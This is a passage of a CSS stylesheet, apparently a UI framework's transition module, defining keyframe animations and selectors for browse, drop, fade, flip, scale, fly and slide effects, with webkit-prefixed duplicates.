translateZ(0px);\n    z-index: -1;\n  }\n\n  10% {\n    -webkit-transform: scale(0.8) translateZ(0px);\n    transform: scale(0.8) translateZ(0px);\n    z-index: -1;\n    opacity: 0.7;\n  }\n\n  80% {\n    -webkit-transform: scale(1.05) translateZ(0px);\n    transform: scale(1.05) translateZ(0px);\n    opacity: 1;\n    z-index: 999;\n  }\n\n  100% {\n    -webkit-transform: scale(1) translateZ(0px);\n    transform: scale(1) translateZ(0px);\n    z-index: 999;\n  }\n}\n\n@keyframes browseIn {\n  0% {\n    -webkit-transform: scale(0.8) translateZ(0px);\n    transform: scale(0.8) translateZ(0px);\n    z-index: -1;\n  }\n\n  10% {\n    -webkit-transform: scale(0.8) translateZ(0px);\n    transform: scale(0.8) translateZ(0px);\n    z-index: -1;\n    opacity: 0.7;\n  }\n\n  80% {\n    -webkit-transform: scale(1.05) translateZ(0px);\n    transform: scale(1.05) translateZ(0px);\n    opacity: 1;\n    z-index: 999;\n  }\n\n  100% {\n    -webkit-transform: scale(1) translateZ(0px);\n    transform: scale(1) translateZ(0px);\n    z-index: 999;\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes browseOutLeft {\n  0% {\n    z-index: 999;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n  }\n\n  50% {\n    z-index: -1;\n    -webkit-transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n    transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n  }\n\n  80% {\n    opacity: 1;\n  }\n\n  100% {\n    z-index: -1;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    opacity: 0;\n  }\n}\n\n@keyframes browseOutLeft {\n  0% {\n    z-index: 999;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n  }\n\n  50% {\n    z-index: -1;\n    -webkit-transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n    transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n  }\n\n  80% {\n    opacity: 1;\n  }\n\n  100% {\n    z-index: -1;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    opacity: 0;\n  }\n}\n\n@-webkit-keyframes browseOutRight {\n  0% {\n    z-index: 999;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n  }\n\n  50% {\n    z-index: 1;\n    -webkit-transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n    transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n  }\n\n  80% {\n    opacity: 1;\n  }\n\n  100% {\n    z-index: 1;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    opacity: 0;\n  }\n}\n\n@keyframes browseOutRight {\n  0% {\n    z-index: 999;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg);\n  }\n\n  50% {\n    z-index: 1;\n    -webkit-transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n    transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);\n  }\n\n  80% {\n    opacity: 1;\n  }\n\n  100% {\n    z-index: 1;\n    -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px);\n    opacity: 0;\n  }\n}\n\n/*--------------\n     Drop\n---------------*/\n\n.drop.transition {\n  -webkit-transform-origin: top center;\n  -ms-transform-origin: top center;\n  transform-origin: top center;\n  -webkit-animation-duration: 400ms;\n  animation-duration: 400ms;\n  -webkit-animation-timing-function: cubic-bezier(0.34, 1.61, 0.7, 1);\n  animation-timing-function: cubic-bezier(0.34, 1.61, 0.7, 1);\n}\n\n.drop.transition.in {\n  -webkit-animation-name: dropIn;\n  animation-name: dropIn;\n}\n\n.drop.transition.out {\n  -webkit-animation-name: dropOut;\n  animation-name: dropOut;\n}\n\n/* Drop */\n\n@-webkit-keyframes dropIn {\n  0% {\n    opacity: 0;\n    -webkit-transform: scale(0);\n    transform: scale(0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n}\n\n@keyframes dropIn {\n  0% {\n    opacity: 0;\n    -webkit-transform: scale(0);\n    transform: scale(0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n}\n\n@-webkit-keyframes dropOut {\n  0% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(0);\n    transform: scale(0);\n  }\n}\n\n@keyframes dropOut {\n  0% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(0);\n    transform: scale(0);\n  }\n}\n\n/*--------------\n      Fade\n---------------*/\n\n.transition.fade.in {\n  -webkit-animation-name: fadeIn;\n  animation-name: fadeIn;\n}\n\n.transition[class*=\"fade up\"].in {\n  -webkit-animation-name: fadeInUp;\n  animation-name: fadeInUp;\n}\n\n.transition[class*=\"fade down\"].in {\n  -webkit-animation-name: fadeInDown;\n  animation-name: fadeInDown;\n}\n\n.transition[class*=\"fade left\"].in {\n  -webkit-animation-name: fadeInLeft;\n  animation-name: fadeInLeft;\n}\n\n.transition[class*=\"fade right\"].in {\n  -webkit-animation-name: fadeInRight;\n  animation-name: fadeInRight;\n}\n\n.transition.fade.out {\n  -webkit-animation-name: fadeOut;\n  animation-name: fadeOut;\n}\n\n.transition[class*=\"fade up\"].out {\n  -webkit-animation-name: fadeOutUp;\n  animation-name: fadeOutUp;\n}\n\n.transition[class*=\"fade down\"].out {\n  -webkit-animation-name: fadeOutDown;\n  animation-name: fadeOutDown;\n}\n\n.transition[class*=\"fade left\"].out {\n  -webkit-animation-name: fadeOutLeft;\n  animation-name: fadeOutLeft;\n}\n\n.transition[class*=\"fade right\"].out {\n  -webkit-animation-name: fadeOutRight;\n  animation-name: fadeOutRight;\n}\n\n/* In */\n\n@-webkit-keyframes fadeIn {\n  0% {\n    opacity: 0;\n  }\n\n  100% {\n    opacity: 1;\n  }\n}\n\n@keyframes fadeIn {\n  0% {\n    opacity: 0;\n  }\n\n  100% {\n    opacity: 1;\n  }\n}\n\n@-webkit-keyframes fadeInUp {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(10%);\n    transform: translateY(10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n}\n\n@keyframes fadeInUp {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(10%);\n    transform: translateY(10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n}\n\n@-webkit-keyframes fadeInDown {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(-10%);\n    transform: translateY(-10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n}\n\n@keyframes fadeInDown {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(-10%);\n    transform: translateY(-10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n}\n\n@-webkit-keyframes fadeInLeft {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateX(10%);\n    transform: translateX(10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n}\n\n@keyframes fadeInLeft {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateX(10%);\n    transform: translateX(10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n}\n\n@-webkit-keyframes fadeInRight {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateX(-10%);\n    transform: translateX(-10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n}\n\n@keyframes fadeInRight {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateX(-10%);\n    transform: translateX(-10%);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes fadeOut {\n  0% {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n  }\n}\n\n@keyframes fadeOut {\n  0% {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n  }\n}\n\n@-webkit-keyframes fadeOutUp {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(5%);\n    transform: translateY(5%);\n  }\n}\n\n@keyframes fadeOutUp {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(5%);\n    transform: translateY(5%);\n  }\n}\n\n@-webkit-keyframes fadeOutDown {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(-5%);\n    transform: translateY(-5%);\n  }\n}\n\n@keyframes fadeOutDown {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateY(0%);\n    transform: translateY(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(-5%);\n    transform: translateY(-5%);\n  }\n}\n\n@-webkit-keyframes fadeOutLeft {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateX(5%);\n    transform: translateX(5%);\n  }\n}\n\n@keyframes fadeOutLeft {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateX(5%);\n    transform: translateX(5%);\n  }\n}\n\n@-webkit-keyframes fadeOutRight {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateX(-5%);\n    transform: translateX(-5%);\n  }\n}\n\n@keyframes fadeOutRight {\n  0% {\n    opacity: 1;\n    -webkit-transform: translateX(0%);\n    transform: translateX(0%);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translateX(-5%);\n    transform: translateX(-5%);\n  }\n}\n\n/*--------------\n     Flips\n---------------*/\n\n.flip.transition.in,\n.flip.transition.out {\n  -webkit-animation-duration: 600ms;\n  animation-duration: 600ms;\n}\n\n.horizontal.flip.transition.in {\n  -webkit-animation-name: horizontalFlipIn;\n  animation-name: horizontalFlipIn;\n}\n\n.horizontal.flip.transition.out {\n  -webkit-animation-name: horizontalFlipOut;\n  animation-name: horizontalFlipOut;\n}\n\n.vertical.flip.transition.in {\n  -webkit-animation-name: verticalFlipIn;\n  animation-name: verticalFlipIn;\n}\n\n.vertical.flip.transition.out {\n  -webkit-animation-name: verticalFlipOut;\n  animation-name: verticalFlipOut;\n}\n\n/* In */\n\n@-webkit-keyframes horizontalFlipIn {\n  0% {\n    -webkit-transform: perspective(2000px) rotateY(-90deg);\n    transform: perspective(2000px) rotateY(-90deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateY(0deg);\n    transform: perspective(2000px) rotateY(0deg);\n    opacity: 1;\n  }\n}\n\n@keyframes horizontalFlipIn {\n  0% {\n    -webkit-transform: perspective(2000px) rotateY(-90deg);\n    transform: perspective(2000px) rotateY(-90deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateY(0deg);\n    transform: perspective(2000px) rotateY(0deg);\n    opacity: 1;\n  }\n}\n\n@-webkit-keyframes verticalFlipIn {\n  0% {\n    -webkit-transform: perspective(2000px) rotateX(-90deg);\n    transform: perspective(2000px) rotateX(-90deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateX(0deg);\n    transform: perspective(2000px) rotateX(0deg);\n    opacity: 1;\n  }\n}\n\n@keyframes verticalFlipIn {\n  0% {\n    -webkit-transform: perspective(2000px) rotateX(-90deg);\n    transform: perspective(2000px) rotateX(-90deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateX(0deg);\n    transform: perspective(2000px) rotateX(0deg);\n    opacity: 1;\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes horizontalFlipOut {\n  0% {\n    -webkit-transform: perspective(2000px) rotateY(0deg);\n    transform: perspective(2000px) rotateY(0deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateY(90deg);\n    transform: perspective(2000px) rotateY(90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes horizontalFlipOut {\n  0% {\n    -webkit-transform: perspective(2000px) rotateY(0deg);\n    transform: perspective(2000px) rotateY(0deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateY(90deg);\n    transform: perspective(2000px) rotateY(90deg);\n    opacity: 0;\n  }\n}\n\n@-webkit-keyframes verticalFlipOut {\n  0% {\n    -webkit-transform: perspective(2000px) rotateX(0deg);\n    transform: perspective(2000px) rotateX(0deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateX(-90deg);\n    transform: perspective(2000px) rotateX(-90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes verticalFlipOut {\n  0% {\n    -webkit-transform: perspective(2000px) rotateX(0deg);\n    transform: perspective(2000px) rotateX(0deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(2000px) rotateX(-90deg);\n    transform: perspective(2000px) rotateX(-90deg);\n    opacity: 0;\n  }\n}\n\n/*--------------\n      Scale\n---------------*/\n\n.scale.transition.in {\n  -webkit-animation-name: scaleIn;\n  animation-name: scaleIn;\n}\n\n.scale.transition.out {\n  -webkit-animation-name: scaleOut;\n  animation-name: scaleOut;\n}\n\n@-webkit-keyframes scaleIn {\n  0% {\n    opacity: 0;\n    -webkit-transform: scale(0.8);\n    transform: scale(0.8);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n}\n\n@keyframes scaleIn {\n  0% {\n    opacity: 0;\n    -webkit-transform: scale(0.8);\n    transform: scale(0.8);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes scaleOut {\n  0% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(0.9);\n    transform: scale(0.9);\n  }\n}\n\n@keyframes scaleOut {\n  0% {\n    opacity: 1;\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(0.9);\n    transform: scale(0.9);\n  }\n}\n\n/*--------------\n      Fly\n---------------*/\n\n/* Inward */\n\n.transition.fly {\n  -webkit-animation-duration: 0.6s;\n  animation-duration: 0.6s;\n  -webkit-transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);\n}\n\n.transition.fly.in {\n  -webkit-animation-name: flyIn;\n  animation-name: flyIn;\n}\n\n.transition[class*=\"fly up\"].in {\n  -webkit-animation-name: flyInUp;\n  animation-name: flyInUp;\n}\n\n.transition[class*=\"fly down\"].in {\n  -webkit-animation-name: flyInDown;\n  animation-name: flyInDown;\n}\n\n.transition[class*=\"fly left\"].in {\n  -webkit-animation-name: flyInLeft;\n  animation-name: flyInLeft;\n}\n\n.transition[class*=\"fly right\"].in {\n  -webkit-animation-name: flyInRight;\n  animation-name: flyInRight;\n}\n\n/* Outward */\n\n.transition.fly.out {\n  -webkit-animation-name: flyOut;\n  animation-name: flyOut;\n}\n\n.transition[class*=\"fly up\"].out {\n  -webkit-animation-name: flyOutUp;\n  animation-name: flyOutUp;\n}\n\n.transition[class*=\"fly down\"].out {\n  -webkit-animation-name: flyOutDown;\n  animation-name: flyOutDown;\n}\n\n.transition[class*=\"fly left\"].out {\n  -webkit-animation-name: flyOutLeft;\n  animation-name: flyOutLeft;\n}\n\n.transition[class*=\"fly right\"].out {\n  -webkit-animation-name: flyOutRight;\n  animation-name: flyOutRight;\n}\n\n/* In */\n\n@-webkit-keyframes flyIn {\n  0% {\n    opacity: 0;\n    -webkit-transform: scale3d(0.3, 0.3, 0.3);\n    transform: scale3d(0.3, 0.3, 0.3);\n  }\n\n  20% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(0.9, 0.9, 0.9);\n    transform: scale3d(0.9, 0.9, 0.9);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.03, 1.03, 1.03);\n    transform: scale3d(1.03, 1.03, 1.03);\n  }\n\n  80% {\n    -webkit-transform: scale3d(0.97, 0.97, 0.97);\n    transform: scale3d(0.97, 0.97, 0.97);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@keyframes flyIn {\n  0% {\n    opacity: 0;\n    -webkit-transform: scale3d(0.3, 0.3, 0.3);\n    transform: scale3d(0.3, 0.3, 0.3);\n  }\n\n  20% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(0.9, 0.9, 0.9);\n    transform: scale3d(0.9, 0.9, 0.9);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.03, 1.03, 1.03);\n    transform: scale3d(1.03, 1.03, 1.03);\n  }\n\n  80% {\n    -webkit-transform: scale3d(0.97, 0.97, 0.97);\n    transform: scale3d(0.97, 0.97, 0.97);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@-webkit-keyframes flyInUp {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 1500px, 0);\n    transform: translate3d(0, 1500px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, -5px, 0);\n    transform: translate3d(0, -5px, 0);\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@keyframes flyInUp {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 1500px, 0);\n    transform: translate3d(0, 1500px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, -5px, 0);\n    transform: translate3d(0, -5px, 0);\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@-webkit-keyframes flyInDown {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -1500px, 0);\n    transform: translate3d(0, -1500px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 25px, 0);\n    transform: translate3d(0, 25px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, 5px, 0);\n    transform: translate3d(0, 5px, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes flyInDown {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -1500px, 0);\n    transform: translate3d(0, -1500px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 25px, 0);\n    transform: translate3d(0, 25px, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0, 5px, 0);\n    transform: translate3d(0, 5px, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@-webkit-keyframes flyInLeft {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(1500px, 0, 0);\n    transform: translate3d(1500px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(-25px, 0, 0);\n    transform: translate3d(-25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(10px, 0, 0);\n    transform: translate3d(10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(-5px, 0, 0);\n    transform: translate3d(-5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes flyInLeft {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(1500px, 0, 0);\n    transform: translate3d(1500px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(-25px, 0, 0);\n    transform: translate3d(-25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(10px, 0, 0);\n    transform: translate3d(10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(-5px, 0, 0);\n    transform: translate3d(-5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@-webkit-keyframes flyInRight {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(-1500px, 0, 0);\n    transform: translate3d(-1500px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(25px, 0, 0);\n    transform: translate3d(25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(-10px, 0, 0);\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(5px, 0, 0);\n    transform: translate3d(5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes flyInRight {\n  0% {\n    opacity: 0;\n    -webkit-transform: translate3d(-1500px, 0, 0);\n    transform: translate3d(-1500px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: translate3d(25px, 0, 0);\n    transform: translate3d(25px, 0, 0);\n  }\n\n  75% {\n    -webkit-transform: translate3d(-10px, 0, 0);\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(5px, 0, 0);\n    transform: translate3d(5px, 0, 0);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes flyOut {\n  20% {\n    -webkit-transform: scale3d(0.9, 0.9, 0.9);\n    transform: scale3d(0.9, 0.9, 0.9);\n  }\n\n  50%, 55% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(0.3, 0.3, 0.3);\n    transform: scale3d(0.3, 0.3, 0.3);\n  }\n}\n\n@keyframes flyOut {\n  20% {\n    -webkit-transform: scale3d(0.9, 0.9, 0.9);\n    transform: scale3d(0.9, 0.9, 0.9);\n  }\n\n  50%, 55% {\n    opacity: 1;\n    -webkit-transform: scale3d(1.1, 1.1, 1.1);\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(0.3, 0.3, 0.3);\n    transform: scale3d(0.3, 0.3, 0.3);\n  }\n}\n\n@-webkit-keyframes flyOutUp {\n  20% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n@keyframes flyOutUp {\n  20% {\n    -webkit-transform: translate3d(0, 10px, 0);\n    transform: translate3d(0, 10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, -20px, 0);\n    transform: translate3d(0, -20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, 2000px, 0);\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n@-webkit-keyframes flyOutDown {\n  20% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 20px, 0);\n    transform: translate3d(0, 20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n@keyframes flyOutDown {\n  20% {\n    -webkit-transform: translate3d(0, -10px, 0);\n    transform: translate3d(0, -10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    -webkit-transform: translate3d(0, 20px, 0);\n    transform: translate3d(0, 20px, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(0, -2000px, 0);\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n@-webkit-keyframes flyOutRight {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(20px, 0, 0);\n    transform: translate3d(20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n@keyframes flyOutRight {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(20px, 0, 0);\n    transform: translate3d(20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(-2000px, 0, 0);\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n@-webkit-keyframes flyOutLeft {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(-20px, 0, 0);\n    transform: translate3d(-20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n@keyframes flyOutLeft {\n  20% {\n    opacity: 1;\n    -webkit-transform: translate3d(-20px, 0, 0);\n    transform: translate3d(-20px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(2000px, 0, 0);\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n/*--------------\n     Slide\n---------------*/\n\n.transition.slide.in,\n.transition[class*=\"slide down\"].in {\n  -webkit-animation-name: slideInY;\n  animation-name: slideInY;\n  -webkit-transform-origin: top center;\n  -ms-transform-origin: top center;\n  transform-origin: top center;\n}\n\n.transition[class*=\"slide up\"].in {\n  -webkit-animation-name: slideInY;\n  animation-name: slideInY;\n  -webkit-transform-origin: bottom center;\n  -ms-transform-origin: bottom center;\n  transform-origin: bottom center;\n}\n\n.transition[class*=\"slide left\"].in {\n  -webkit-animation-name: slideInX;\n  animation-name: slideInX;\n  -webkit-transform-origin: center right;\n  -ms-transform-origin: center right;\n  transform-origin: center right;\n}\n\n.transition[class*=\"slide right\"].in {\n  -webkit-animation-name: slideInX;\n  animation-name: slideInX;\n  -webkit-transform-origin: center left;\n  -ms-transform-origin: center left;\n  transform-origin: center left;\n}\n\n.transition.slide.out,\n.transition[class*=\"slide down\"].out {\n  -webkit-animation-name: slideOutY;\n  animation-name: slideOutY;\n  -webkit-transform-origin: top center;\n  -ms-transform-origin: top center;\n  transform-origin: top center;\n}\n\n.transition[class*=\"slide up\"].out {\n  -webkit-animation-name: slideOutY;\n  animation-name: slideOutY;\n  -webkit-transform-origin: bottom center;\n  -ms-transform-origin: bottom center;\n  transform-origin: bottom center;\n}\n\n.transition[class*=\"slide left\"].out {\n  -webkit-animation-name: slideOutX;\n  animation-name: slideOutX;\n  -webkit-transform-origin: center right;\n  -ms-transform-origin: center right;\n  transform-origin: center right;\n}\n\n.transition[class*=\"slide right\"].out {\n  -webkit-animation-name: slideOutX;\n  animation-name: slideOutX;\n  -webkit-transform-origin: center left;\n  -ms-transform-origin: center left;\n  transform-origin: center left;\n}\n\n/* In */\n\n@-webkit-keyframes slideInY {\n  0% {\n    opacity: 0;\n    -webkit-transform: scaleY(0);\n    transform: scaleY(0);\n  }\n\n  100% {\n    